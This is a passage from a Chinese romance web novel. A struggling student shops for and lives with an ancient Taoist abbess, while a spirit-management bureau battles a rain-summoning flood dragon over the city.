迎面撞上抱了一大叠衣服回去整理的导购,导购看她衣衫不整、急急忙忙地从试衣间出来,而里面还有一双脚,顾念她看起来像个学生,欲言又止,把衣服放到了旁边的架子上,就地整理。 傅清微:“……” 今天她的清白是彻底不能要了。 新挑的内衣勉强合适,傅清微看看标牌后面滴血的价格,忍痛买了一件。 穆若水还在问她:“你不买吗?” 傅清微刷了付款码,走出来后才回她:“太贵了,我买不起。”就那么一小块布料!整整花了她四百块!四百块啊!她三分之一的房租!直接从她口袋里抢钱不是更快吗?还给她块布。 穆若水说:“我也很穷。” 她印象里没有富过,现在穷得就剩一身衣服了。 傅清微说:“没事,不用你花钱,花完了咱还可以挣。” 穆若水说:“我没想去挣。” 傅清微:“……我挣,我一个人挣,都给你花,行了吧?” 很穷的傅清微为了给穆观主买衣服,眼睛也不眨地把积蓄刷掉了一半,她身上的料子一看就是好东西,傅清微不想让她和自己一样拼夕夕穿几十块两件的,都挑品牌买。 到了下班时间,商场的人越来越多了,气息驳杂,还有男的,穆观主的脸色变得奇差,在场的有一个算一个,都倒欠了她八百万似的。 傅清微赶紧带她离开了。 本来还想顺便去趟超市采购的,一来时间晚了,二来超市现在是人最多的时候,她怕穆若水不高兴,把她送回家后一个人出去了。 生活用品无非牙膏牙刷浴巾毛巾,拖鞋…… 傅清微对着清单一样一样置办,积少成多,小金库又下去一些。晚高峰排队结账的人多,她推着推车排在一条队伍后面,脑海里闪过刚才穆若水试衣服的场景。 穆若水一千八百个不情愿,但在傅清微的软磨硬泡下还是进去试了几身。 她现在这身太惹眼,招来的目光鱼龙混杂,尤其有些不怀好意的,傅清微担心她会一言不合动手把人杀了。 换上现代的衣服就…… 完全没有好一点呢。 傅清微看着刚从试衣间出来,黑色口罩跟镶在她脸上似的女人,风衣长靴,她背后就是品牌的巨幅广告牌,穿着同款衣服的模特在她面前黯然失色。 有的人天生就是发光体。 一身普通的风衣穿出了价格多两个0的气质,长靴是她自己挑的,因为和她本来的鞋子款式相似,但古制的长靴和现在的靴子根本就不是一回事。 高挑修长的女人墨绿色的薄毛衣,露出优越的天鹅颈项线条,随意搭一件开着的深色风衣,细韧笔直的小腿被黑色长筒靴包裹。 不耐的漂亮眉眼被黑色口罩中和,少了些烦躁,多了些冷感。 傅清微即便不是女同,满脑子回响的也只有一句女同常挂在嘴边的:姐姐踩我!!! 傅清微不明显地咽了咽口水。 又给她试了几身。 然后体会到了换装游戏的快乐。 怎么会身材这么好,简直是行走的穆暖暖。 傅清微对虚拟的换装游戏没有任何兴趣,但是每一件穿在穆若水身上的漂亮衣服她都想买,要不是囊中羞涩,她也想学总裁递卡,低沉地说:“这些,全部包起来。” 真实的她是一个贫穷女大,于是她忍痛割爱,挑了自己经济承受范围内的两身,花了两个月房租,三千大洋! 嘶,忘记给她买睡衣了。 傅清微在超市结完账,掂量着自己的小金库,又去了一趟商场。 买完睡衣她拎在单独的另一只手上,只觉刚才摸过睡衣丝绸光滑的掌心都在发烫。 会不会太暴露了一点? 要不现在回去退了? 可是穿在道长身上肯定好看。 她会穿吗?她要是不愿意的话自己不是白买了? 退了吧。 傅清微站住脚,回头走了两步又定住,往家的方向走去。 算了,她迟早会穿的。 …… “叮咚——叮咚——” 陌生的门铃声在客厅响起,穆若水冷不丁被吓到,抬头找了半天声源,是从玄关发出来的。 傅清微大包小包,还在菜鸟驿站拿了刚到的快递,实在没有手开门,按完门铃后隔着门喊道:“是我,我回来了。” 咔哒—— 大门从屋里打开,灯光倾泻出来,女人站在门口。 傅清微说:“快,帮我接一下东西。” 莫名其妙的,穆若水接过了她怀里抱着的快递,傅清微总算喘了一口气,把其他东西放在地上,穿鞋慢慢归置。 她不仅买了衣服和生活用品,还买了菜,打算做晚饭。 “道长吃晚饭吗?” “不吃。” 穆若水抱着新到的简繁对照词典在客厅翻阅,虽然简体字她费一番心思联系上下文也能猜出七七八八,但总归没有直接认识的好。 得到意料之内的答案,傅清微关闭了教做菜的软件,决定一切从简。 做了个青椒肉丝和番茄炒蛋。 端到桌前,她惯例又邀请了一次穆若水和她一起吃。 穆若水头也不抬:“不要,你做饭难吃。” 傅清微:“……” 她不服气地说:“你没吃怎么知道难吃?” 虽然甘棠也是这么说的,但有没有可能不是菜的问题,是她自己的问题。 傅清微空闲时间挺喜欢钻研菜谱,反正只有她自己吃,她觉得挺好的啊,没有说的那么差。 穆若水就是知道。 脑海里隐约的答案是下意识的,脱口而出之后穆若水也怔了一下。 她来到桌前,看着色相尚可的番茄炒蛋,接过傅清微递来的干净筷子,夹了一块炒鸡蛋,细嚼慢咽。 傅清微:“怎么样?” 穆若水面无表情:“难吃,打死了几个卖盐的。”倒确实没有冤枉她。 傅清微怒了一下:“……那你坐这,我看着下饭。” 胆大包天。 穆若水没和她计较,真把词典搬过来,坐在对面充当下酒菜。 傅清微就着她翻书的侧脸,一口一口吃完了米饭,菜倒是忘了动几口,绝对不是因为太咸。 饭后收拾完碗筷,傅清微坐到穆若水一桌之隔的对面,两手托腮。 穆若水翻了一页书。 “有事?” “有一个问题。” “问。” “道长是正一还是全真?”全真派在宫观修行,戒荤戒色戒酒,清规森严。正一道除了个别不能吃,荤素不忌,可以结婚,也可以在家修行。 “正一。” 傅清微莫名其妙地高兴了一下。 “你笑什么?” “没什么。”傅清微揉了揉自己的脸,旁敲侧击地问道,“咱们道观还有别的师姐妹吗?” 咱? 穆若水似笑非笑地抬眸,像是看穿她心中所想。 “没有,就我一个。” “会不会有一点冷清了?” “不会,我喜静。” 傅清微吞吞吐吐,想起白天甘棠说的出家,正想着怎么询问穆观主收不收徒的事。 穆若水对上她犹犹豫豫的视线,霎时洞若观火,她淡然垂眸,又静静翻过一页书。 傅清微终于鼓起了勇气。 “道长,你觉得我怎么样?” “漂亮。” “不是这方面。”傅清微俏脸一红,连忙摆手。 “你指的哪方面?”穆若水撩了她一眼,眼波轻懒。 傅清微声音低了低。 “各方面吧,性格、人品、天赋什么的。” “温和、端正、善良、根器上等。” 傅清微没想到能在嘴巴不饶人的穆观主这里得到这么高的评价,喜不自禁,险些没能控制住自己的表情管理。 “那道长考不考虑……” 迎着傅清微灿烂的脸,穆若水也露出了一个浅淡的微笑。 傅清微期盼地望着她,即将吐出下文。 女人抬手掸了掸袖子,轻描淡写地拒绝了她。 “如果你想问收徒的事,不考虑。” 第23章 “如果你想问收徒的事, 不考虑。” 傅清微内心的小苗苗刚冒出尖便被掐灭。 她只好说服自己也没有那么想出家,毕竟已经作为俗家人生活了二十年,真出家了肯定不习惯。 道长虽然不收她当徒弟, 但也没有收其他人嘛。 傅清微很快把自己哄好了, 忙里忙外地去收拾厨房了, 因为是第一次和人同居,她干劲比平时还足。 刚刚拒绝了她的穆若水:“……” 会不会是自己自作多情了, 她根本不是想拜自己为师。 她竟然不是真心想拜师?简直岂有此理! 穆若水生起了闷气, 把词典翻得哗哗响,但厨房油烟机没关, 傅清微一点儿声音都没听见。 等她出来, 穆若水回到客厅沙发,气已经差不多消了。 “要不要喝水?”傅清微问。 “……要。” 一场小风波在两人的无知无觉中过去。 时间不到九点,离洗澡睡觉还有段时间, 傅清微把客厅留给需要私人空间的穆观主, 自己窝进了卧室,盘算自己并不丰厚的家底。 有一笔定期存在银行不能动,是保命钱。手里的活期今天花掉了一半, 兼职要结的尾款暂时到不了账,如果她想报考驾照的话,经济会有点紧张,只能暂时搁置, 等钱到位了再说。 灵管局的实习工资快发了吧? 按照合同规定的月薪,她把这笔钱攒起来, 过几个月她就能入手一辆二手车。 几号发工资来着? 她问占英, 占英没回她,连个【1】也没有, 估计是在忙。 占科长总是很忙。 十点。 傅清微出来喊穆若水去洗澡,穆若水起身垂手而立,挥了挥自己的衣袖,说:“不必。我习惯泡澡。” 傅清微:“……” 她上哪儿给她搬一座温泉来。难不成回山上洗啊? 穆若水真打算回山上。 这个地方没有她能睡的。 穆若水来到阳台,头也不回地说:“我走了。” 傅清微连挽留的机会都没有。 女人消失得无影无踪。 傅清微脸颊感到一丝冰凉,她惊讶地抬手去摸,还好不是泪水——险些吓了她一跳。 她和穆观主的感情也没有深到生离死别这一步吧。 傅清微往外走了两步,脸上的寒意越来越多,原来是细雨如丝从阳台飘了进来。 下雨了。 傅清微闪过了一个念头。 穆若水和她的心思同时出现,黑发黑眼的女人身上蒙着一层薄薄的水汽,连及腰的青丝都浮动着雨气凝结的细珠,冰凉温润,如雾中仙。 让傅清微联想起她上一次出浴,长袍系带,腰带将束未束的样子。 傅清微和她迎面而立,几乎能感受到她肌肤沁出的水汽,让人忍不住想去触碰。 刚出门不远就被雨淋回来的女人脸色却有些挂不住。 方才走得多潇洒,回来得就有多狼狈。 傅清微马上说:“道长运气真好,要是走了很远再下雨,就要淋湿了。” 穆若水看了看她,方才还阴郁的脸顷刻间转了多云。 傅清微温和地笑笑,道:“等我一下,我去拿条毛巾给你擦脸。” 穆若水坐在沙发里,自年轻女人手里接过干净柔软的毛巾,细致地擦了脸和手。 雨下得还不大,她走得并不远,所以正像傅清微所说的,她没有淋湿,是一种好运气。 云开雾散,女人的脸色彻底多云转晴。 两人默契地都没有提及方才穆若水说要走的事,就当一切都没有发生过。 傅清微给她倒了一杯水,在穆若水喝水的时候回了趟卧室,出来捧了几件衣服,底下是她没穿过的长袖睡衣,最上面则是一条内裤。 内裤不像内衣尺码那么严格,身材差不多的女性可以互相穿——没有说让道长穿她穿过的内裤的意思。 傅清微快把自己想得脸红了。 她把衣服放在正捧着水杯喝水的女人身边,说:“都是新的,你洗完澡以后将就先穿穿。” “这个……”傅清微隔空点点那条黑色的三角布料,白天教她穿内衣的尴尬成倍地涌上来,支支吾吾地说,“贴身的……和古代的亵裤一样,你应该能看得懂……怎么……穿……吧?” 傅清微盯着她杯子里的水,感觉自己比她还渴,喉咙忍不住咽了咽。 穆若水:“我见过它怎么脱。” 傅清微:“?” 穆若水唇角噙着少见的笑:“没什么。” 她刚想起来上次给她“演示”怎么脱的正是傅清微本人,即使穆观主再怎么狂妄和目中无人,也不会当着她的面说出来。 傅清微却刨根究底:“道长见过谁脱?” 穆若水低头抿水,不答她的话,眼底笑意愈深。 这句话无意间在傅清微心里埋了个小小的疙瘩,她抿了抿嘴,也不说话了。 穆若水把一杯水喝完了,方道:“不必,我今夜不沐浴了,明日雨停了回山。” “那你还下来吗?” “自然。我说了以后住在这里。” “白天住,晚上不住?”这算哪门子同居,顶多算作客。 傅清微脊背挺直,说:“如果道长是嫌我这里小的话,我已经问过占道长了,她会尽快安排。” 穆若水盯着她的神情,若有所思了一会儿,说:“你在生我的气?” 傅清微一怔。 “我没有。” “就因为我不在你这里洗澡,你生气了?” “没有,我不是。” 那就是因为别的生气了。 她一再否认,穆若水的耐心就到这里了,也懒得再去追问,把时间浪费在这种小事上。 “如果我在这洗澡,你会高兴一点吗?” “啊?” 傅清微完全不懂她,迷惑但是诚实道:“会。” 穆若水拿起手边的衣物,包括最上面的内裤,往浴室的方向走去,路过傅清微的身边脚步一顿,停下来说:“你果然生气了。” 傅清微:“……” 女人落下这句话,迤迤然走了。 徒留傅清微在原地,不敢确定地想:我生气了吗?没有吧?感觉自己的情绪一直很稳定啊。 可恶,她到底看过谁脱内裤? 穆若水第三次来到傅清微的浴室,第一次是透过水镜看的,那次反而看得最清楚。 她站在门口,把水镜里的印象和现实一一对应,回忆它们各自是怎么使用。 傅清微因为思考慢了两分钟,跟在她后面进来,边往里走边说:“我教你怎么用。” 穆若水说:“我好像会。” 傅清微:“???” 到底是谁,又被捷足先登了?! 穆若水又想了想,说:“有的不太确定,你还是再教一遍吧。” 傅清微根本没把这个“再”字和自己联想到一起,谁会想到自己会被人从山上一览无遗地看过呢? 她上前来:“好。” 看来先前教她的人没教好,关键时候还是得靠她。 主要是热水器,傅清微给她演示了冷热水怎么调,穆若水上次就见识过,这次仍为此等机巧的妙处而赞叹。 穆若水饶有兴致地发问:“它的原理是什么?” 傅清微:“就是天然气通过加热,将热水储存在水箱里,有一个连通器分别连接冷热水管,通过机关调节控制冷热水的比例,就可以控制水温了,想要多少度就可以多少度。” 穆若水颔首:“原理听起来倒是不复杂,却在过去的几千年都没有被发明出来,足以说明当代科技之进步,人民之幸福。对了,天然气又是什么?” 傅清微说:“是一种能源,和煤炭、石油一样,现在有火电、水电、风电,还可以利用太阳能,后几者都叫作清洁能源。” 太阳?风? 这些自然界随处可见的,居然也被发掘成可以利用的能源了? 对百年未下山的穆观主来说,实在太不可思议了。 傅清微:“山下还有很多神奇的东西,比这个神奇百倍,你可以慢慢接触,我们有的是时间。” 穆若水:“嗯。我要洗澡了。” 她总是要陪着她的,到这一世终结。虽然傅清微对此一无所知。 傅清微退出淋浴间,把自己用的小凳子搬过来给她放衣服,说:“那我先出去了,有事你叫我就行,我就在外面。” “可。” 傅清微出来后,给她带上了门。 直到莲蓬头的淋浴声响起后才慢慢离开,去了阳台的水池。 今天在外面傅清微给她买了内衣裤,趁穆若水不在的工夫赶紧给她手洗了晾起来。 傅清微不是怕穆若水见到她给她洗内衣害羞,是怕自己当着她的面做这些,她一旦看过来,自己会害羞得抬不起头。 谁还不是第一次给别人洗内衣? 所以要抓紧时间。 雨下得大了些,斜打着飞进来,手臂和脸颊都沾上了冰冷的水汽,她回身把阳台的窗户关上了,顺手上了锁。 重新揉洗衣物的时候她想:这么大的雨,今晚穆观主应该是彻底走不了了。 淋浴间的水声停了。 傅清微刚把女人的贴身衣物晾好,池子里只剩下自己的换洗外衣。 她不急着忙,擦了手出来,抬眸的瞬间刚好撞见女人从卫生间走出来的身影。 穆若水没有穿她给的长袖睡衣,但也没有一身红衣鹤氅,庄严肃穆地从里面出来,外袍和深衣都脱了,只余下一身雪白中衣。 她长发垂在腰后,发尾比在山上湿得更深了,白衣上洇出水迹。 乌发如墨,几缕搭在胸前,随意慵懒。 女人长眉凤目,流转间的英气被出浴的雾气化开,眉眼清艳,唇若涂丹,多了许多妩媚的气质,似一株凝着露水的海棠。 她生就一副好样貌,不开口的时候颇具欺骗性,楚楚动人,任谁看了也要心软。 灵管局的人要是见到她的真容,恐怕要大跌眼镜。 傅清微忘记擦过手,手里的毛巾又擦了一遍。 “穆……”她顿了顿,仍然唤道:“观主。”语气尊敬,心里却开始有些不满足。 穆若水颔首示意。 “可有干发的帕子?”穆若水把叠得整齐的外袍仔细放在一边,又上手爱惜地抚了抚。 “擦头的毛巾吗?我教你用吹风机吧。” 穆若水盘腿坐在沙发上,傅清微插了吹风机,单膝跪在她身后,吹出来的热风一点点蒸干发尾的水分。她动作轻柔,穆若水几乎没有感觉到任何痛意,反而在规律的嗡嗡声中昏昏欲睡。 她阖起双目养神。 某个时刻鬓角被指腹温柔地碰了碰,穆若水仿佛自一场大梦中醒来,半梦半醒地睁了一下眸子,眼波温软。 “怎么了?”声音低而柔软。 傅清微克制住自己在深夜容易躁动的心,镇定地回:“前面有些头发也湿了,我帮你吹一下,好吗?” 穆若水没有答话,重新合上眼眸,身体向后靠了靠,抵在她的胸前。 吹风机的嗡嗡声在一片安静中又响起来。 傅清微身子一动不敢动,手上温柔耐心吹干了女人的鬓发,小心翼翼地放下吹风机,许久没有叫醒她。 直到她膝盖跪得发麻,血液滞涩不流通继而产生痛感。 傅清微作了一番心理准备,抬手在空中一顿,尔后方落下,轻轻地拍了拍女人的肩膀,声音轻得不知是想唤醒她还是生怕惊醒:“道长,道长?” 穆若水将脸转了过来。 傅清微刚想说让她回房间睡,女人连眼睛都没睁,下一秒傅清微身形一僵,穆若水把脸埋进了她颈窝里,自然得好像发生过千百次。 傅清微两只手还伸在半空中凝固:“……” 穆若水先前百般不愿留宿,现在吹了个头发她就像嗑了猫薄荷的猫,恨不得和傅清微黏在一起,永不分离。 傅清微只好收回手,将女人的身子搂在了怀里,换了个姿势起身,缓了缓发麻的右腿,将她抱去卧室。 穆若水在棺材里困得都没这么厉害,几乎没有任何抵抗地躺在了傅清微的床上。 有那么一秒钟,傅清微觉得她俩睡一张床算了。 都是女的,而且道长只占棺材那么大点的地儿,睡两个人绰绰有余。 穆若水还靠在傅清微的怀里,再怎么喜怒无常和目下无尘的穆观主,身子也是软的,香的,无意识地搂着她的脖子,看起来就像撒娇。 也不知道是把她当成了谁? 她可不信观主其实是个喜欢撒娇的小女孩。 傅清微眼睛盯着上方的天花板,等着猫薄荷的效果过去。 十几分钟后,穆若水醒了过来。 她的唇贴在年轻女人的侧颈,熟悉的体位让她本能张了张嘴,用齿尖磨了磨近在咫尺的皮肤。 傅清微喉间溢出一声陌生的轻吟。 突然的声音让房间的空气都瞬间安静。 第24章 傅清微:“……” 穆若水:“?” 上次怎么没有这个声儿, 怪好听的,听得她的血都跟着热了一下。 穆若水又磨了磨。 傅清微一把推开了她,捂住了自己的脖子, 卧室的灯下满脸绯红。 “你干吗?” “你又脸红什么?” 两个人的声音同时响起, 女人理直气壮发问, 傅清微瞬间没了脾气。 “没什么,房间太热了。” “我刚刚有没有弄疼你?” 又是同时响起, 傅清微刚刚褪去的绯色有了卷土重来的趋势, 热气直冲脖颈。 “停!”她举手投降认输,“我们跳过这个话题, 就当什么都没有发生。” “可……”那声究竟是怎么发出来的? “算我求你, 道长。”傅清微的脸快要红到耳根。 “好吧。” 穆若水给她表演了一个就地失忆,论失忆,她是专业的。 因为不好解释她为什么会在傅清微怀里, 说起来可能会丢面子, 所以她选择一并忘记,绝口不提。 直接快进到当下。 傅清微从床上跳了下来,说:“我去洗澡了, 你今晚就在这睡吧。” 她生怕穆若水那张嘴再吐出什么惊人的话,一口气说完:“如果你觉得关了灯还是太亮的话,我买了眼罩,戴上和睡在棺材里没区别, 我去给你拿。” 根本没给穆若水开口的机会,她就出去客厅了, 送了个眼罩进来再次消失。 穆若水关了灯戴上眼罩, 视线一片黑暗,一丝光线都透不进眼皮。 床大得仍然有些空旷, 穆若水长手长脚规矩,只占据小小的一方地域,双手交叠搭在小腹,合上眼皮。 耳边不断传来另一个人的动静。 和在山里住的时候没什么两样。 穆若水听着她洗完澡,换了衣服,在沙发打开棉被,躺下就寝。 女人灵敏的五感随着傅清微均匀的呼吸声而放空远去,大脑暂停思考,陷入梦乡。 …… 穆若水是被雨声吵醒的。 豆大的雨点砸在树叶上,砸在窗户上,漆黑的夜里乌云翻滚,无根水倒灌进人间,没有雷电交加,只是暴雨如注,下得人心神不宁。 留了一条缝的窗户里送来的风里夹杂着一丝腥气。 穆若水掀开被子起床,稍稍移开了窗户,确实有腥味,不是她的错觉。 潮湿的,滑腻的,像是阴冷的蛇鳞。 穆若水心安理得地关上了窗户。 但是这和她又有什么关系呢? 让灵管局头疼去吧。 傅清微揉着眼睛出现在卧室门口,出于各方面考虑,两人睡觉没关卧室门。不过傅清微却不是被穆若水的动静弄醒的,也是被雨吵醒了。 傅清微迷迷糊糊的:“下雨了,我好像忘记把窗户关严了。” 穆若水:“已经关好了,小糊涂虫。” 傅清微根本没听到她的后半句,回了声那就好,边打哈欠边晕晕乎乎地往回走。 穆若水怕她撞到腿,一直跟着她,送她回到沙发旁,看着她躺下睡觉。 穆若水其实不需要睡眠,她睡觉是因为还保持着以前的习惯,傅清微重新睡熟以后,她直起身再检查了一遍家里的窗户,确认都关好了。 这雨恐怕要下一段时间,直到那条兴风作浪的蛟被灵管局的人降服。 在此之前,外面都不安全。 穆若水在傅清微的身边守了一夜,窗外的雨势越来越大,积云翻滚,碧绿的蛇身在深色浓云里若隐若现,两条长须的虚影。 大夜弥天,倾吞日月。 傅清微睁眼仍是黑夜,她捞过手机一看,显示早上六点半。 虽然是冬天,但不至于天边一点儿亮光都没有,傅清微点开屏幕通知里挤压得满满当当的气象局和防汛办短信。 1:00 暴雨蓝色预警 3:00 变更信号:暴雨黄色预警。 5:00 再再变更信号:暴雨橙色预警。 6:00 鹤市气象台发布:过去五小时我市部分地区出现强降雨天气,雨花区、经开区、仙桥区、西湖区、五安区累计降雨已达200毫米以上,提醒广大市民做好个人防护,早高峰注意出行安全,避开积水路段。请各部门谨慎防范城区内涝、及时排理积水,为市民出行保驾护航【鹤市气象灾害应急预警中心】 伸手不见五指的黑暗里似乎坐了个人影,傅清微用手机的亮光照了照,正是一夜未睡的穆若水。 “道长,你起这么早?” “嗯。”穆若水面不改色地扯谎。 “外面好黑,会不会是天狗吃掉了月亮?”刚睡醒的年轻女人同她开着不失快乐的小玩笑,还带着醒后的鼻音。 “可能吧。” 灵管局一班废物,到现在都没能解决蛟。 “要不要再睡一会儿?天没那么快亮。”穆若水说,“我守着你。” 她看不到穆若水的脸,只听见黑暗里传出来的声音沉静又温柔。 傅清微像是被一根柔软的羽毛伸进耳朵里,挠得她耳根发痒,甚至全身都不对劲,足尖与指尖发麻,她按着自己奇怪的反应缓了一会儿,说:“不睡了,到起床时间了。” “随你。”女人的声音重新变得冷峻。 这才是她熟悉的穆观主。 * 此刻。 仙桥区,上空。 一条约三米长的异兽翻滚在汹涌的黑云中,鱼身蛇尾,和龙一样拥有四爪,只是比典籍中记载的龙粗壮的四爪细了许多。 它颈边有一圈白婴,两条黑色长须飞舞,声如牛鸣。 传闻蛟千年而化龙,身形特征会从蛇逐渐向龙靠拢。 它已经长出了爪子和龙须,盘踞在江河湖底日久,已经拥有了呼风唤雨的神通,每一次蛇尾甩动都会带来更加暴烈的风雨。 占英被雨浇得睁不开眼,手里拿的不再是铜钱剑,而是一柄青光凛冽的长剑。 阵中狂风大作,占英单手拄剑插在地上,仍被刮得不住后退,后背砸在大树上,稳住身形,耳边传来同事的告急声:“不好,占科,天快亮了,我们的结界也撑不住了!” 结界一旦破裂,全市人民都能看到盘踞在上空的蛟了,当场世界观震碎。 “早知道这么难搞,昨晚就该汇报上级调一架战斗机来!我们怎么和蛟龙斗!”有新来的男同事在耳机里崩溃大喊。 他们已经整整和这条蛟纠缠了一个晚上,筋疲力尽。 蛟在天上,他们在地上,什么法术攻击能起到作用的寥寥,连蛟的皮毛都刮不破,能够布阵把它困在这里已经废了九牛二虎之力。 “是蛟,不是龙!差得远着呢!”占英呵斥道,“长他人志气,灭自己威风,灵管局不缺唱反调的人!” 占英:“所有人,听我命令,天快亮了,不能让蛟伤害凡人,必须把它重新引入江河。接下来我会再次引天雷,所有人辅助我!务必一击必中!” “收到!” 占英从怀里掏出最后两张五雷符,一手举剑,结印念咒。 雷符风雨不侵,自她手中离开缓缓升向半空,无火自燃,烧尽后一道金光直抵天听,快得连眨眼都没看清。 占英大吼:“就是现在!” 全组同事都拼了,一道清亮的笛声直冲云霄,有人唇角溢血,口中不停低诵古老神秘的禁诀,符箓包裹的箭矢射向天际,控制类法术不要命地往上砸,终于拖缓了蛟翻滚的身影,哪怕只是一秒。 天雷恐怖的威压在头顶盘旋,即使是蛟也感受到了危险,它长尾一甩,及时向前出逃,躲开了第一道天雷。 “天火雷神,地火雷神,五帝敕下,斩邪灭精!” 蛟延缓的身形让它没能躲开第二道天雷,树干粗的紫色闪电将它的躯干劈了个正着,空气中散发出皮肉烧焦的气味,蛟一声吃痛的怒吼,一头往自己的老巢,江河里扎去。 冲天的水柱卷起,河底凭空出现好几个巨大的漩涡,鱼儿全部朝蛟奔来,汇集在它的周围。 占英抹了一把最后浇下来的雨水,看向云层里透出的朦胧光亮,马不停蹄地提剑追上去。 “走!去江边!” * 雨花区。 傅清微家。 六点四十五。 “雨停了?”傅清微耳边的雨声一下就消失了,好像被生生掐断似的,连从大到小的循序渐进过程都没有。傅清微来到阳台窗前,手背伸到外面,果然一滴雨水都没了。 不仅如此,方才不见五指的黑夜也变淡了,隐隐透出蒙蒙的晨光,月挂西头,与往日无异。 傅清微纳闷地走了回来,不由得对穆若水说:“好奇怪啊,本来冬天下暴雨就离奇,这个天一会乌云一会晴的,好像被人为控制了一样。” 穆若水心说:不是人,是蛟。 但傅清微没必要知道这些。 穆若水:“可能吧,你今天有课吗?” 傅清微摇头:“没有。” “兼职?” “也没有。”傅清微说,“我今天什么都没安排,除了带你出去逛街。” 穆若水鼻翼翕动,空气里的腥气没有淡去半分,那条蛟还在。 穆若水:“我有些累了,今日就不出门了。” 傅清微自然听她的:“好,那我去学校给你借几本书吧。” “你也不要出去。” “……”傅清微张了张嘴,估摸着冰箱里的菜,应了声好。 不行给她先找点电子版书籍看吧。 傅清微开了客厅的灯,回屋换了衣服,在透出晨曦的阳台做了套伸展运动热身,回到客厅的健身器械上练了几组引体向上,又翻过身勾脚倒挂在上面做卷腹。 上身的短T恤在重力的作用下落到胸口,腹部的肌理薄而分明,起伏的腰肢兼具力量与柔软,她做动捕演员的爆发力离不开长年累月的坚持。 穆若水坐在沙发对面看着她,边看边喝水,一组、两组、三组…… 傅清微比平时多做了好几组,直到察觉快力有不逮才停下,把双手搭到双脚的位置,轻松地落下来双脚着地。 短T恤盖住腰肢,又没能完全遮住,一截细腰刚好露在外面,汗珠不住地往下淌,隐没在下腹部的线条里,遐思无限。 穆若水难得夸了她一句:“很不错。” 傅清微的脸颊因为运动而泛红,她任由热气席卷她的脸,从脖子到耳根,反正都看不出来,索性红了个彻底。 穆若水:嗯?是不是太红了一点?怎么这么久还不消? “你气血不足,锻炼体魄不要过量。”穆若水看着她通红的耳根劝了一句。 “知道,下次不会了。” “过来。”女人招牌式的语气。 傅清微一听这话便走过去,来到女人的跟前。 穆若水向来无所顾忌,想掀她衣服就掀她衣服,没让她主动脱已经是不错。 忽然被撩起T恤的傅清微:“???”耳朵的红待会又藏不住了。 穆若水不仅看,还上手去摸,一寸一寸地抚过她腹部的线条,问道:“这是怎么练出来的?做方才你那些动作吗?” “好看吗?”傅清微反问道。 “好看。”穆若水点点头。 穆若水出身玄门,也练外家功夫,但是就像占英一样,练剑练武,锻炼的是全身和反应力,匀称为主。不像现代人有专门的健身体系,想把腹肌练得好看就专门虐腹。 现代的腹肌和马甲线给了老古董穆观主一些小小的震撼。 傅清微:“想要吗?” 穆若水仰脸看她,直抒胸臆:“想。” 反正闲着也是闲着,那些动作并不难,她练一练也会。 傅清微:“回头我教你。” 穆若水的手忽然移到了她的侧腰,出其不意用掌根摩挲了一把,似乎是想感受她腰肢锻炼到的所有细节。 傅清微猝不及防,险些溢出和昨晚一样的低吟。 她连忙退后两步,把自己的腰从女人的手掌解救出来,结结巴巴道:“我、我去洗个澡。” 傅清微往卧室的方向冲去。 穆若水在她身后提醒了一句:“卫生间在外面。” 傅清微头也不回:“我拿个衣服!” 她把房门带上,背抵住木板,从穆若水刚碰到她的腰,久久压抑的腿软泛上来,险些站立不住。 她气息长短不均,扶着门缓了好一会儿,方想起自己进来的正事,拿了床上的睡衣出了卧室。 穆若水正在研究看她的健身器械,家里放不下太大的器材,除了两根杠子,墙根放着一对哑铃,穆若水抛10kg的哑铃跟玩儿似的,一根手指就能拎起来。 她摸了摸自己平坦的小腹,还是对腹肌更感兴趣。 傅清微见她又投过来视线,脑海里涌起一个荒唐的念头:她该不会要进来看自己洗澡吧? 傅清微逃也似的进了浴室。 只是平平常常看了她一眼的穆若水:“?” 小朋友奇奇怪怪。 …… 早上八点。 傅清微从冰箱里刨出两片吐司加热,抹了刚买的蓝莓酱,煎了个爱心鸡蛋,端到餐桌上吃。 穆若水自觉坐在她对面,充当可餐的秀色。 秀色本人扫了眼她的盘子,肉眼可见的嫌弃:“你就吃这些?” 傅清微:“挺好吃的,不信你尝尝。” 穆若水哈哈笑了两声。 傅清微:“……” 虽然道长笑起来好听,但是在这时候笑她都能读懂她的心声:哈哈,你做的,我不信好吃。 傅清微:“不是我做的,都是预制,半成品!” 穆若水有理有据:“经过你的手了。” 傅清微:“……” 她的手是什么生化武器吗?能给饭菜上难吃的debuff??? 傅清微气道:“那午饭你做!” 穆若水莫名其妙:“我又不吃,我凭什么做饭?” “你该不会是做饭比我还难吃,不敢了吧?” “我做就我做!” 傅清微没来得及庆幸激将法的又一次成功,便见对面端坐的女人托腮粲然一笑,衬得她眉眼又生动明艳了几分。 “你想听到这句话,对吗?” “……” 计划被识破,傅清微哑口无言。 穆若水没有上激将法的当,但不介意露一手,让她见识见识自己的手艺。 “今天中午我做,就这一次。下次你就知道我的质疑是对的。” 柳暗花明,峰回路转。 傅清微马上去换出门的衣服:“我去买菜!” “不用出门,用你剩下的食材就行。” “可是冰箱里……” “我说了,今天不要出去。” 女人一而再再而三的强调不能出门,傅清微隐约察觉到了一丝不寻常。是不是和昨夜离奇的暴雨有关? 她打开手机,她的消息孤零零躺在对话框里,占英仍旧没有回她的微信。 窗外又下起连绵的小雨。 早高峰开始了,从阳台往下望去,城市里一柄柄雨伞在雨幕里撑开,像是天地间一朵朵绽开的雨花,朝各个交通要道的地铁口流动聚集。 雨衣雨鞋,电动车左右摇晃穿梭,送孩子上学的家长。刚刚找到工作分外年轻的面庞,自伞下抬头,辨别着地铁站的方向。被风刮了一地的树叶,环卫工人冒雨捡起夹进塑料垃圾袋里。 只盼不要出什么事才好。 傅清微的心脏跳快了一拍。 她回到客厅,有些不安地打开了短信,暴雨橙色预警停留在六点那条,没有出现新的。 穆若水显然对此胸有成竹。 傅清微借着给她倒水的机会问道:“外面出什么事了吗?占道长一直没回我消息。” 穆若水无意多言:“小事情。” 要是灵管局连这点事就解决不了的话,趁早解散。 轮不到她一个实习生来操心。 傅清微时不时刷新一下本地实时动态,社交媒体上有人po了早上去上班的路,积水没过脚踝上方,四轮汽车缓慢排队行驶,在朦胧的早晨尾灯亮起红色长龙,像一只只漂浮的红色眼睛。 人行道下方的非机动车道人满为患,穿着雨鞋的两脚蹬地,车轮在积水里艰难前行。 雨仍在下。 实时有很多市民吐槽:【早上送完孩子回来,骑电动车摔了一跤,还好摔的是我,要是小孩已经被后面的车撞了】 【讲道理这么大的雨,从昨晚下到今天,就不能停课一天?】 【事出反常必有妖,如果我没记错的话,现在不是十二月的吗?哪里有新台风登陆了吗?】 